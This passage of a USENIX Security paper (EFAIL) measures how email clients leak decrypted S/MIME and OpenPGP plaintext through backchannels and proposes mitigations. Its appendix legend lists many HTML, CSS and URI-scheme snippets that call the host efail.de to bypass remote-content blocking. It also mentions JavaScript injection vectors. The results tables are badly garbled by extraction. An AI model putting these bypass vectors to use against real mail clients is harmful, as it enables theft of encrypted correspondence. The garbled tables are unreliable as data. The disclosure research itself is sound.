Apple Mail
MailMate
Airmail
Mail App
Canary Mail
K-9 Mail
R2Mail2
MailDroid
Nine
United Internet
Mailbox.org
ProtonMail
Mailfence
GMail
Roundcube
Horde IMP
AfterLogic
Rainloop
Mailpile

S/MIME
∠
∠
⊥
⊥
∠
∠
⊥
∠
∠
∠
∠
∠
∠
⊥

-MDC
∠

+MDC
∠

SE

√

√

√

√

√

√

√

√

√

√

–
–

–
–

–
–

√

√

√

∠

∠

–
∠

∠
∠
–
∠

√

√

√

√

√

√

√

√

√

√

√

√

√

√

∠
∠
∠
∠
–
–
∠
∠
∠
–
–
–
–
∠
–
⊥
–
–
–

∠

∠

∠

∠
–

∠
–

∠
–

√

√

√

√

√

√

√

√

–

∠
∠
–

√

√

√

√

√

√

√

√

√

√

√

√

Exfiltration (no user interaction)
Exfiltration (with user interaction)

√

√

√

√

√

√

–

–
∠
√

√

√

–

–

–

√

√

√

∠

–
∠
∠

√

√

√

√

√

√

√

√

√

√

√

HTML. The most prominent form of HTML content
are images. Of the tested 48 email clients, 13 load external images by default. For 10 of them, this can beturned off whereas three clients have no option to block
remote content. All other clients block external images
by default or explicitly ask the user before downloading.
We analyzed all HTML elements that could potentially bypass the blocking filter and trigger a backchannel using a comprehensive list of HTML4, HTML5
and non-standard HTML elements that allow including
URIs. For each element-attribute combination, links
were built using a variety of well-known4 and unofficial5
URI schemes based on the assumption that http://links may be blacklisted by a mail client while others
might be allowed. We added specific link/meta tags inthe HTML header. In addition, we tested against thevectors from the Email Privacy Tester6 project and theCure53 HTTPLeaks7 repository. This extensive list of
test-cases allowed us to bypass external content blocking
in 22 email clients.
Cascading Style Sheets (CSS). Most mail clientsallow CSS declarations to be included in HTMLemails. Based on the CSS2 and CSS3 standards
we assembled an extensive list of properties thatallow included URIs, like background-image:url("http://efail.de"). These allowed bypassing remote content blocking on 11 clients.

No exfiltration channel
Encryption not supported

Table 4: Exfiltration channels for various email clientsfor S/MIME, PGP SEIP with stripped MDC (-MDC),PGP SEIP with wrong MDC (+MDC), and PGP SE
packets.

Table 4 shows the 35 remaining clients. An attacker
can exploit 23 S/MIME email clients out of which eightrequire either a MitM attacker or user interaction likeclicking on a link or explicitly allowing external images.
17 S/MIME clients allow off-path exfiltration channels
with no user interaction.
From the 35 email clients, 28 support OpenPGP and
10 allow off-path exfiltration channels with no userinteraction. Five clients allow SEIP ciphertexts withstripped MDC and ignore wrong MDCs if they exist.
Six clients support SE ciphertexts. Three clients – whichshow OpenPGP messages as plain text only – are secureagainst automated backchannels, but are still vulnerable
to backchannels that require more complex user interaction.

558

Web content in email clients

27th USENIX Security Symposium

JavaScript. We used well-known Cross Site Scripting
test vectors8,9 and placed them in various header fields
like Subject: as well as in the mail body. We identified five mail clients which are prone to JavaScript execution, allowing the construction of particularly flexible
backchannels.

7.2

S/MIME specific backchannels

OCSP requests. Mail clients can use the Online Certificate Status Protocol (OCSP) to check the validity of
X.509 certificates that are included in S/MIME signatures. OCSP works as follows: the client decrypts theemail, parses the certificate and obtains the URL of the
OCSP-responder. The client then sends the serial number of the certificate via HTTP POST to the responder
4 https://www.w3.org/wiki/UriSchemes
5 https://github.com/Munter/schemes
6 https://www.emailprivacytester.com/
7 https://github.com/cure53/HTTPLeaks
8 https://www.owasp.org/index.php/XSS_Filter_
Evasion_Cheat_Sheet
9 http://html5sec.org

USENIX Association

and obtains a data structure with status information about
the certificate.
Using this channel for data exfiltration requires replacing the URL ciphertext blocks with other ciphertext blocks. In typical scenarios this is complicated by
two factors: One, the OCSP-responder’s URL is partof a larger base64 encoded data structure. Therefore,
an attacker must be careful not to destroy the base64decoding process by carefully selecting or masking theplaintext. Two, if a valid certificate chain is used,
the OCSP-responder’s URL is cryptographically signed
which makes this backchannel unusable as long as thesignature is properly checked. Eleven clients performed
OCSP requests for valid certificates from a trusted CA.
CRL requests. Similar to OCSP, Certificate Revocation Lists (CRLs) are used to obtain recent status information about a certificate. Unlike OCSP, a CRL is periodically requested and contains a list of multiple serial
numbers of revoked certificates. Requesting the list involves an HTTP request to the server holding the CRL
and the CRL backchannel is very similar to the OCSP
backchannel. Ten clients performed CRL requests forvalid certificates from a trusted CA, one client even connected to an untrusted, attacker-controlled web server.
Intermediate certificates. S/MIME is built around theconcept of hierarchical trust and requires following a certificate chain back to a trusted root. If the certificate
is incomplete and intermediate certificates are missing,
the chain can not be verified. To remedy this, a CA
may augment certificates with an URL to the next linkin the chain. A client can query this URL to obtainthe missing certificates. These requests for intermediate certificates can be used as a backchannel. Like thebackchannels via OCSP and CRL requests, this is madedifficult by the base64 encoding. However, the signature
can only be verified after the intermediate certificate wasobtained. This makes exploitation of this channel mucheasier. Seven clients requested intermediate certificatesfrom an attacker-controlled LDAP and/or web server.

7.3

OpenPGP specific backchannels

An email client receiving a PGP-signed message may
try to automatically download the corresponding public
key. There are various protocols to achieve this, for example DANE [24], HKP [25] or LDAP [26] [27]. We
observed one client trying to obtain the public key fora given key ID. This can potentially be abused by malleability gadgets to leak four bytes of plaintext. We also
applied 33 PGP-related email headers that refer to publickeys (e.g. X-PGP-Key: URI), but none of the tested

USENIX Associationclients performed a request to the given URL, therefore
the issue is only relevant to a MitM attacker.

7.4

External attachments

The message/external-body content type allows
references to external resources as MIME parts instead of
directly including within the mail. This is a known technique to bypass virus scanners running on a mail gateway. However, there are various proprietary variants ofthis header, for which one email client automatically performed a DNS request for the external attachment’s hostname. It is noteworthy that this was done automatically,
the email did not have to be explicitly opened.

7.5

Email security gateways

Email security gateways are typically used in large enterprises to secure the outgoing communication with
S/MIME or OpenPGP. This ensures that employees do
not have to install any extensions or generate keys, andthat their emails are automatically encrypted and decrypted.
Our attacks are applicable to email security gateways
as well. In fact, preventing the showed attacks in thesescenarios could be even more challenging, especially for
the MIME-related issues. The reason is that a gateway
is only used to decrypt the incoming emails and has noknowledge of the email processing clients.
We were not able to systematically analyze security
gateways as they are not easily accessible. Nevertheless,we had a chance to test two appliances. The configuration of the first one was insecure and we could find adirect exfiltration exploit. The second gateway was configured correctly and we were not able to find any direct
exploits in the limited time we had for the evaluation.

8

Mitigations

Backchannels are critical, because they provide a way
to instantly obtain the plaintext of an email. Reliably
blocking all backchannels, including those not based on
HTML, would prevent all the attacks as presented. However, it does not fix the underlying vulnerability in the
S/MIME and OpenPGP standards. In a broader scenario, an attacker could also inject binary attachments
or modify already attached ones, such that exfiltration isdone later even if no email client is involved. Therefore,
blocking network requests is only a short-term solution.
In the following section we present long-term mitigations
which require updating the standards.

27th USENIX Security Symposium

559

8.1

Countering direct exfiltration attacks

Same origin policy for email. The complexity ofHTML, CSS and MIME makes it possible to mix encrypted and plaintext contents. If an exfiltration channel is available, this can lead to direct leaks of decrypted
plaintexts, independently of whether the ciphertext is authenticated or not. In web scenarios, a typical protection against these kinds of attacks is the same origin policy [28]. Similar protection mechanisms could be applied in email scenarios as well. These should enforce
that email parts with different security properties are not
combined.
However, this mitigation is hard to enforce in every
scenario. For example, email gateways typically usedin companies process encrypted emails and forward theplain data to email clients used by the employees. Emailclients have no knowledge whether the original message
was encrypted or not. In such scenarios this countermeasure must be combined with different techniques. An effective mitigation for an email gateway would be to display only the first email body part and convert further
body parts into attachments.

8.2

Countering malleability gadget attacks

The S/MIME standard does not provide any effective security measures countering our attacks. OpenPGP provides Message Modification Codes and we could observe
several OpenPGP implementations that were not vulnerable to our attacks because they dropped ciphertexts withinvalid MDCs. Unfortunately, the OpenPGP standard is
not clear about handling MDC failures. The standard
only vaguely states that any failures in the MDC check“MUST be treated as a security problem” and “SHOULD
be reported to the user” [18] but lacks a definition on how
to deal with security problems. Furthermore, the standard still supports SE packets which offer no integrity
protection. From this perspective, the security vulnerabilities observed in GnuPG and Enigmail are standardconforming, as GnuPG returns an error code and prints
out a specific error message. Our experiments showedthat different clients deal differently with MDC failures(see Table 4).
In the long-term, updating the S/MIME and OpenPGP
standards is inevitable to meet modern cryptographic
best practices and introduce authenticated encryption algorithms.
Authenticated encryption (AE). Our attack would be
prevented if the email client detects changes in the ciphertext during decryption and prevents it from being
displayed. On a first thought, making an AE block cipher such as AES-GCM the default, would prevent the560

27th USENIX Security Symposium

attack.
Although CMS defines an AuthenticatedData
type [29], S/MIME’s current specification does not.
There were efforts to introduce authenticated encryption
in OpenPGP which is, however, expired [30].
By introducing these algorithms, the standard would
need to address backwards compatibility attacks andhandling of streaming-based decryption.

Solving backwards compatibility problems. In a
backwards compatibility attack an attacker takes a secureauthenticated ciphertext (e.g., AES-GCM) and forces thereceiver to use a weak encryption method (e.g., AESCBC) [31]. To prevent these attacks, usage of different
keys for different cryptographic primitives has to be enforced. For example, the decrypted key can be used as an
input into a key derivation function KDF together with analgorithm identifier. This would enforce different keys
for different algorithms:
kAES-CBC = KDF(k, “AES-CBC”)(1)

kAES-GCM = KDF(k, “AES-GCM”)(2)

Although an email client could use S/MIME’s capabilities list to promote more secure ciphers in every signature, an attacker can still forward emails she obtained in
the past. The email client may then (a) process the old
email and stay susceptible to exfiltration attacks or (2) do
not process the email and break interoperability.

Streaming-based decryption. OpenPGP uses streaming, i.e. it passes on plaintext parts during decryption if
the ciphertext is large. This feature collides with our request for AE ciphers because most AE ciphers also support streaming. In the event that the ciphertext was modified, it will pass on already decrypted plaintext, alongwith an error code at the end. If these plaintext parts areinterpreted, exfiltration channels may arise despite using
an AE cipher. We think it is safe to turn off streaming in
the email context because the size of email ciphertexts islimited and can be handled by modern computers. Otherwise, if the ciphertext size is a concern, the email shouldbe split into chunks which are encrypted and authenticated so that no streaming is needed. A cryptographic
approach to solve this problem would be to use a modeof operation which does not allow for decrypting the ciphertext before its authenticity is validated. For example,
AES-SIV could be used [32]. Note that AES-SIV works
in two phases and thus it does not offer such performanceas e.g., AES-GCM.

USENIX Association

9

Related work

In 2000 Katz and Schneier described a chosen-ciphertext
attack [33] that blinds an uncompressed ciphertext,
which they send in a spoofed email to the victim. They
then hope that the victim replies to the email with theblinded ciphertext, that they can then unblind. This attack requires a cooperating victim and does not work
against compressed plaintexts.
In 2001 Davis described “surreptitious forwarding”
attacks and their applicability to S/MIME, PKCS#7,
MOSS, PEM, PGP, and XML [34] in which an attacker
can re-sign or re-encrypt the original email and forward
it onto a third person.
In 2002 Perrin presented a downgrade attack, whichremoves the integrity protection turning a SEIP into a SE
data packet [20]. In 2015, Magazinius showed that thisdowngrade attack is applicable in practice [21].
In 2005 Mister and Zuccherato described an adaptivechosen-ciphertext attack [22] exploiting OpenPGP’s integrity quick check. The attacker need 215 queries to decrypt two plaintext bytes per block. The attack requires ahigh number of queries, which makes the attack unpractical for email encryption.
Strenzke [19] improved one of Davis’ attacks andnoted that an attacker can strip a signature and re-sign theencrypted email with his private key. He sends the email
to the victim who hopefully responds with an email including the decrypted ciphertext.
Many attacks abuse CBC malleability property to create chosen-ciphertext attacks [35–38]. Practical attacks
have been shown against IPSec [39, 40], SSH [41, 42],
TLS [43–46], or XML Encryption [47]. Overall, the attacker uses the server as an oracle. This is not possible
in typical OpenPGP and S/MIME scenarios, since users
are unlikely to open many emails without getting suspicious. Some of these attacks exploit that with CBC
it is also possible to encrypt arbitrary plaintext blocks
or bytes [38, 40, 47]. For example, Rizzo and Duongdescribed how to turn a decryption oracle into an encryption oracle. They used their CBC-R technique tocompute correct headers and issue malicious JSF viewstates [38].
In 2005, Fruwirth, the author of the Linux Unified Key
Setup (luks), wrote a compendium of attacks and insecure properties of CBC [48] in the hard disk encryption
context. Later in 2013, Lell presented a practical exploit
for CBC malleability against a Ubuntu 12.04 installationthat is encrypted using luks [49] with CBC. An attackvery similar to Lell’s was described in 2016 in the Owncloud server side encryption module [50].
In 2017 Cure53 analyzed the security of Enigmail [51]. The report shows that surreptitious forwarding
is still possible and that it is possible to spoof OpenPGPUSENIX Association

signatures.

Acknowledgements
The authors thank Marcus Brinkmann and Kai Michaelis
for insightful discussions about GnuPG, Lennart Grahl,
Yves-Noel Weweler and Marc Dangschat for their early
work around X.509 backchannels, Hanno Böck for hiscomments on AES-SIV and our attack in general, Tobias
Kappert for countless remarks regarding the deflate algorithm, and our anonymous reviewers for many insightfulcomments.
Simon Friedberger was supported by the Commission of the European Communities through the Horizon
2020 program under project number 643161 (ECRYPTNET). Juraj Somorovsky was supported through the
Horizon 2020 program under project number 700542(FutureTrust). Christian Dresen and Jens Müller havebeen supported by the research training group ‘Human
Centered System Security’ sponsored by the state ofNorth-Rhine Westfalia.

References[1] The Radicati Group, Inc., “Email statistics report,
2017 - 2021,” Feb. 2017.
[2] Wikileaks, “Vp contender sarah palin hacked,”
Sept. 2008.
https://wikileaks.org/
wiki/VP_contender_Sarah_Palin_hacked.
[3] Wikileaks, “Sony email archive,” Apr. 2015.
https://wikileaks.org/sony/
emails/.
[4] Wikileaks, “Hillary clinton email archive,”
Mar. 2016.
https://wikileaks.org/
clinton-emails/.
[5] Wikileaks, “The podesta emails,” Mar. 2016.
https://wikileaks.org/podestaemails/.
[6] K. Thomas, F. Li, A. Zand, J. Barrett, J. Ranieri,
L. Invernizzi, Y. Markov, O. Comanescu, V. Eranti, A. Moscicki, D. Margolis, V. Paxson, and
E. Bursztein, eds., Data breaches, phishing, or malware? Understanding the risks of stolen credentials, 2017.
[7] E. Bursztein, B. Benko, D. Margolis, T. Pietraszek,
A. Archer, A. Aquino, A. Pitsillidis, and S. Savage, “Handcrafted fraud and extortion: Manual account hijacking in the wild,” in IMC ’14 Proceed-

27th USENIX Security Symposium561

ings of the 2014 Conference on Internet Measurement Conference, (1600 Amphitheatre Parkway),
pp. 347–358, 2014.

[20] “Openpgp security analysis,” Sept. 2002. https://www.ietf.org/mail-archive/web/
openpgp/current/msg02909.html.

[8] M. Green,“What’s the matter with
pgp?,” Aug. 2014.
https://blog.
cryptographyengineering.com/2014/08/13/whats-matter-with-pgp/.

[21] J. Magazinius, “Openpgp seip downgrade attack,” Oct. 2015. http://www.metzdowd.
com/pipermail/cryptography/2015October/026685.html.

[9] M. Marlinspike, “Gpg and me,” Feb. 2015.
https://moxie.org/blog/gpg-andme/.

[22] S. Mister and R. Zuccherato, “An attack on cfb
mode encryption as used by openpgp.” Cryptology
ePrint Archive, Report 2005/033, 2005. https://eprint.iacr.org/2005/033.

[10] F. Valsorda, “I’m throwing in the towel on PGP,
and I work in security,” Dec. 2016. https://arstechnica.com/informationtechnology/2016/12/op-ed-imgiving-up-on-pgp/.
[11] Amnesty International, “Verschlüsselte Kommunikation via PGP oder S/MIME.” https://www.amnesty.de/keepitsecret. Accessed: 2018-02-22.
[12] Electronic Frontier Foundation, “How to: Use PGP
for Windows.” https://ssd.eff.org/en/
module/how-use-pgp-windows. Accessed:
2018-02-22.
[13] United Nations Educational Scientific and Cultural Organization and Reporters Without Borders,
Safety Guide for Journalists – a Handbook for Reporters in High-Risk Environments. CreateSpace
Independent Publishing Platform, 2016.
[14] P. Resnick, “Internet message format,” October
2008. RFC5322.
[15] N. Freed and N. Borenstein, “Multipurpose internet
mail extensions (mime) part one: Format of internet
message bodies,” November 1996. RFC2045.
[16] B. Ramsdell and S. Turner, “Secure/multipurpose
internet mail extensions (s/mime) version 3.2 message specification,” January 2010. RFC5751.
[17] R. Housley, “Cryptographic message syntax(cms),” September 2009. RFC5652.
[18] J. Callas, L. Donnerhacke, H. Finney, D. Shaw, and
R. Thayer, “Openpgp message format,” November
2007. RFC4880.
[19] F. Strenzke, “Improved message takeover attacks against s/mime,” Feb. 2016.
https://cryptosource.de/posts/smime_mta_
improved_en.html.

562

27th USENIX Security Symposium[23] P. Deutsch, “Deflate compressed data format specification version 1.3,” May 1996. RFC1951.
[24] P. Wouters, “Dns-based authentication of namedentities (dane) bindings for openpgp,” August 2016.
RFC7929.
[25] D. Shaw, “The OpenPGP HTTP Keyserver Protocol (HKP),” Internet-Draft draft-shaw-openpgphkp-00, Internet Engineering Task Force, Mar.
2003. Work in Progress.
[26] G. Good, “The ldap data interchange format (ldif) technical specification,” June 2000. RFC2849.
[27] “How to setup an openldap-based pgp keyserver.”https://wiki.gnupg.org/
LDAPKeyserver.
[28] “Same origin policy,” Jan. 2010.
https://www.w3.org/Security/wiki/Same_
Origin_Policy.
[29] R. Housley, “Cryptographic message syntax(cms) authenticated-enveloped-data content type,”
November 2007. RFC5083.
[30] “Modernizing the openpgp message format,”2015. https://tools.ietf.org/html/
draft-ford-openpgp-format-00.
[31] T. Jager, K. G. Paterson, and J. Somorovsky, “One
Bad Apple: Backwards Compatibility Attacks on
State-of-the-Art Cryptography,” in Network andDistributed System Security Symposium (NDSS),
February 2013.
[32] D. Harkins, “Synthetic initialization vector (siv) authenticated encryption using the advanced encryption standard (aes),” October 2008. RFC5297.
[33] J. Katz and B. Schneier, “A chosen ciphertext attack against several e-mail encryption protocols,” in

USENIX Association

Proceedings of the 9th Conference on USENIX Security Symposium - Volume 9, SSYM’00, (Berkeley, CA, USA), pp. 18–18, USENIX Association,
2000.
[34] D. Davis, “Defective sign & encrypt in s/mime,
pkcs#7, moss, pem, pgp, and xml,” in Proceedingsof the General Track: 2001 USENIX Annual Technical Conference, (Berkeley, CA, USA), pp. 65–78,
USENIX Association, 2001.
[35] S. Vaudenay, “Security flaws induced by cbc
padding - applications to ssl, ipsec, wtls ..,” in
EUROCRYPT (L. R. Knudsen, ed.), vol. 2332 of
Lecture Notes in Computer Science, pp. 534–546,
Springer, 2002.
[36] K. Paterson and A. Yau, “Padding Oracle Attacks
on the ISO CBC Mode Encryption Standard,” inTopics in Cryptology – CT-RSA 2004, vol. 2964
of Lecture Notes in Computer Science, Springer
Berlin / Heidelberg, Feb. 2004.
[37] C. J. Mitchell, “Error oracle attacks on cbc mode:
Is there a future for cbc mode encryption?,” in Information Security (J. Zhou, J. Lopez, R. H. Deng,and F. Bao, eds.), (Berlin, Heidelberg), pp. 244–
258, Springer Berlin Heidelberg, 2005.
[38] J. Rizzo and T. Duong, “Practical padding oracle attacks,” in Proceedings of the 4th USENIX
conference on Offensive technologies, WOOT’10,(Berkeley, CA, USA), pp. 1–8, USENIX Association, 2010.
[39] J. P. Degabriele and K. G. Paterson, “Attacking
the IPsec standards in encryption-only configurations,” in IEEE Symposium on Security and Privacy, pp. 335–349, IEEE Computer Society, 2007.
[40] J. P. Degabriele and K. G. Paterson, “On the(in)security of IPsec in MAC-then-encrypt configurations,” in ACM Conference on Computerand Communications Security (E. Al-Shaer, A. D.
Keromytis, and V. Shmatikov, eds.), pp. 493–504,
ACM, 2010.

’16, (New York, NY, USA), pp. 1480–1491, ACM,
2016.
[43] N. J. A. Fardan and K. G. Paterson, “Lucky thirteen: Breaking the tls and dtls record protocols,”
in 2013 IEEE Symposium on Security and Privacy,
pp. 526–540, May 2013.
[44] M. R. Albrecht and K. G. Paterson, “Lucky microseconds: A timing attack on amazon’s s2n implementation of tls,” in Advances in Cryptology –EUROCRYPT 2016 (M. Fischlin and J.-S. Coron,eds.), (Berlin, Heidelberg), pp. 622–643, Springer
Berlin Heidelberg, 2016.
[45] G. Irazoqui, M. S. Inci, T. Eisenbarth, and B. Sunar,“Lucky 13 strikes back,” in Proceedings of the 10th
ACM Symposium on Information, Computer andCommunications Security, ASIA CCS ’15, (NewYork, NY, USA), pp. 85–96, ACM, 2015.
[46] J. Somorovsky, “Systematic fuzzing and testingof tls libraries,” in Proceedings of the 2016 ACM
SIGSAC Conference on Computer and Communications Security, CCS ’16, (New York, NY, USA),pp. 1492–1504, ACM, 2016.
[47] T. Jager and J. Somorovsky, “How To Break XML
Encryption,” in The 18th ACM Conference on Computer and Communications Security (CCS), Oct.
2011.
[48] C. Fruhwirth, “New methods in hard disk encryption,” July 2005.
http://clemens.
endorphin.org/nmihde/nmihde-A4ds.pdf.
[49] J. Lell, “Practical malleability attack against cbcencrypted luks partitions,” 2013.
[50] H. Böck, “Pwncloud – bad crypto in theowncloud encryption module,” Apr. 2016.
https://blog.hboeck.de/archives/
880-Pwncloud-bad-crypto-in-theOwncloud-encryption-module.html.

[41] M. R. Albrecht, K. G. Paterson, and G. J. Watson, “Plaintext recovery attacks against ssh,” inProceedings of the 2009 30th IEEE Symposium on
Security and Privacy, SP ’09, (Washington, DC,
USA), pp. 16–26, IEEE Computer Society, 2009.

[51] “Pentest-reportenigmail,”
Dec.
2017.
https://enigmail.net/download/other/Enigmail%20Pentest%20Report%
20by%20Cure53%20-%20Excerpt.pdf.

[42] M. R. Albrecht, J. P. Degabriele, T. B. Hansen, andK. G. Paterson, “A surfeit of ssh cipher suites,” inProceedings of the 2016 ACM SIGSAC Conference
on Computer and Communications Security, CCSAUSENIX Association

Unsuccessful backchannel tests

We pursued further tests which were not successful but
are documented here for the sake of completeness.

27th USENIX Security Symposium

563

Spam datasets. We checked whether spammers may
already be aware of bypasses for remote content blocking in email clients and analyzed two large spamdatasets10,11 containing over ten millions of spam emails
altogether ranging from 1997 to 2018. However, wefound that spammers do not use or are not aware of bypasses for content blocking as they only included wellknown technique to trace if an email is actually read.

B

Backchannel analysis

This section presents the table summarizing our resultson backchannels in email clients.

Generic email headers. There are various standardized and proprietary email headers12 which allow to include URIs. Furthermore, we used various public email
datasets to compile a list of 9, 400 mail headers whichcontain URLs. We tested those headers against all email
clients, but none triggered with the exception of external
attachments mentioned in Section 7.4

Anti-spoofing headers. We included email headers tofight spam (SPF, DKIM), however the triggered DNS requests at the MTA level, not when mail was opened in the
MUA. It is however noteworthy that two email clients
performed a DNS lookups for the hostname part of thesender email address at the time the mail was opened.
although this is a privacy issue, we cannot use it to for
exfiltration because the DNS request was no longer triggered for From: header within the encrypted part of themessage.

Message disposition notification. We identified sevenstandardized and proprietary email headers which request a confirmation mail attesting that the message has
been read. Two mail clients automatically send confirmation emails which has a privacy impact but cannot be
used as an exfiltration channel because the mail was not
triggered if the message disposition notification header
was within the encrypted part. All other clients do notsupport the feature or explicitly ask the user before sending a message disposition notifications.

File preview. Some email clients try to generate a preview for attached files. We prepared specially-crafted
PDF, SVG, vCard and vCalendar files which contain hyperlinks, trigger a connection or execute JavaScript when
opened. However in the previewed version none of theseactions was taken for any of the tested clients.
10 http://untroubled.org/spam/
11 http://artinvoice.hu/spams/
12 https://www.iana.org/assignments/message-

headers/message-headers.xhtml

564

27th USENIX Security Symposium

USENIX Association

Support

Backchannels

S/MIMEPGP

Outlook 2007 (12.0.4518.1014)
Outlook 2010 (14.0.7190.5000)
Outlook 2013 (15.0.4989.1000)
Outlook 2016 (16.0.4266.1001)
Win. 8 Mail (17.4.9600.16384)
Win. 10 Mail (17.8730.21865.0)
Win. Live Mail (16.4.3528.0331)
The Bat! (8.2.0)
Postbox (5.0.20)
eM Client (7.1.31849.0)
IBM Notes (9.0.1)
Foxmail (7.2.8)
Pegasus Mail (4.72.572)

nativenativenativenativen/anativenativenativenativenativenativen/an/aGPG4win
GPG4win
GPG4win
GPG4Win
n/a
n/a
n/a
GnuPG
Enigmailnative
n/a
n/a
PMPGP

Thunderbird (52.5.2)
Evolution (3.22.6)
Trojitá (0.7-278)
KMail (5.2.3)
Claws (3.14.1)
Mutt (1.7.2)

nativenativenativenativepluginnativeEnigmail
GnuPG
GnuPG
GnuPG
GPG plugin
GnuPG

macOS

Apple Mail (11.2)
MailMate (1.10)
Airmail (3.5.3)

nativenativepluginGPGTools
GPGTools
GPG-PGPiOS

Mail App (11.2.2)
Canary Mail (1.17)
Outlook (2.56.0)

nativen/an/an/anativen/a

K-9 Mail (5.403)
R2Mail2 (2.30)
MailDroid (4.81)
Nine (4.1.3a)n/anativeFlipdognative

OpenKeychain
nativeFlipdogn/aGMX, Web.de, ...
Mailbox.org
HushmailProtonMail
Mailfence
GMail
Outlook.com
iCloud Mail
Yahoo Mail
FastMail
Mail.Ru
Zoho Mail

n/a
n/a
n/a
n/a
nativenativenative
n/a
n/a
n/a
n/a
n/a

Mailvelope
Mailvelope
nativeOpenPGP.js
OpenPGP.js
n/a
n/a
n/a
n/a
n/a
n/a
n/a

H3 H4 H12 H14 H15 C1
H8 C5 C12 C15+++
C5 C11+*
H9 C12 P1

WebappRoundcube (1.3.4)
AfterLogic (7.7.9)
Rainloop (1.11.3)
Mailpile (1.0.0rc2)

nativepluginn/an/aEnigmaOpenPGP.js
OpenPGP.js
GnuPG

H7 C3
H4 C2 C10 C13 C14 C16
C4 C13 C14#Groupware

Exchange OWA (15.1.1034.32)
GroupWise (14.2.2)
Horde (5.2.22/IMP 6.2.21)

nativenativenative

n/a
n/a
GnuPG

H9 C2 C5 C11 C12WindowsLinux

Android

Webmail

Backchannel to arbitrary URIEmailHTML/CSS/JS

PKI

H15 P1P1

I1 I2 I3
I2 I3
I2 I3
I2 I3

+ H1 H6
+
H17

I1 I2

E1
E3

E1

E2

E4

P3
J3
H13 H16 P2 J1*
H14 P2 P4

I2
I1 I2

H2
H3
H3

I2

+
H3
+ H10 H11 H14I1 I2 I3
I1 I2 I3

+
+
*

I1

I3
I3
I3
I3

H10 J2H4 H5 H14 H15 J2
K2 H4 H5 H14 H15 J1+ K1 C7 C8 C9
K1 C9

I3

I1 I2
I4

Backchannel to fixed URITable 5: Backchannels for various email clients. (Legend on next page.)

USENIX Association

27th USENIX Security Symposium

565

+
*
#
I1
I2
I3
I4
K1
K2
H1
H2
H3
H4
H5
H6
H7
H8
H9
H10
H11
H12
H13
H14
H15
H16
H17
C1
C2
C3
C4
C5
C6
C7
C8
C9
C10
C11
C12
C13
C14
C15
C16
P1
P2
P3
P4
J1
J2
J2
E1
E2
E3
E4

566

LegendRemote images are loaded by default but this can be deactivated
Remote images are loaded by default and it cannot be deactivated
Remote images are loaded through prefetching in modern browsers
PKI requests
Request for intermediate S/MIME certificate are performed to an attacker-controlled URIOCSP requests to a fixed CA URL are performed for valid/trusted S/MIME signed emails
CRL requests to a fixed CA URL are performed for valid/trusted S/MIME signed emails
HKP requests to keyserver are performed to retrieve public keys for PGP signed emails
Encrypted emails
Remote images are loaded automatically if the mail is PGP/MIME encrypted
Remote images are loaded automatically if the mail is S/MIME encryptedHTML attributes (bypasses for remote content blocking)<html manifest="http://efail.de"></html><link href="http://efail.de" rel="preconnect"><meta http-equiv="x-dns-prefetch-control" content="on"><a href="http://efail.de"></a><meta http-equiv="refresh" content="1; url=http://efail.de"><base href="http://efail.de"><iframe src="x"><img lowsrc="http://efail.de"><image src="http://efail.de"><svg><image href="http://efail.de"/></svg><input type="image" src="http://efail.de"/><audio src="http://efail.de"><video src="http://efail.de"><video poster="http://efail.de"><script src="http://efail.de"><embed src="http://efail.de"></embed><object data="http://efail.de"></object><object codebase="http://efail.de"></object><p style="background-image:url(1)"></p><object><embed src="http://efail.de">
CSS properties (bypasses for remote content blocking)<style>@import url(’http://efail.de’);</style><style>body {background-image: url(’http://efail.de’);}</style><style>body {background-image: \75 \72 \6C (’http://efail.de’);}</style><style>body {shape-outside: url(http://efail.de);}</style><div style="background-image: url(’http://efail.de’)"><div style="background-image: -moz-image-rect(url(’https://efail.de’),85%,5%,5%,5%);"><style>body {background: #aaa url(’http://efail.de’);}</style><div style="background: #aaa url(’http://efail.de’)"><style>ul {list-style: url(’http://efail.de’);}</style><ul><li>item</li></ul><ul style="list-style: url(’http://efail.de’);"></ul><style>ul {list-style-image: url(’http://efail.de’);}</style><ul><li>item</li></ul><ul style="list-style-image: url(’http://efail.de’)"></ul><div style="border-image: url(’http://efail.de’);"><div style="border-image-source: url(’http://efail.de’);"><div style="cursor: url(’http://efail.de’) 5 5, auto;"><svg/><svg><rect cursor="url(http://efail.de),auto"/></svg>
URI schemes (bypasses for remote content blocking)<img src="//efail.de"><img src="file://efail.de/x"><img src="news://efail.de/x"><img src="ftp://efail.de/x">
JavaScript (bypasses for remote content blocking)<script>...</script><object data="javascript:..."></object><svg><style>’<body/onload="..."><?/script>
Email headers
X-Confirm-Reading-To: user@efail.de
Remote-Attachment-Url: http://efail.de
From: user@efail.de (HTTP request for favicon)
From: user@efail.de (DNS request to hostname)27th USENIX Security Symposium

USENIX Association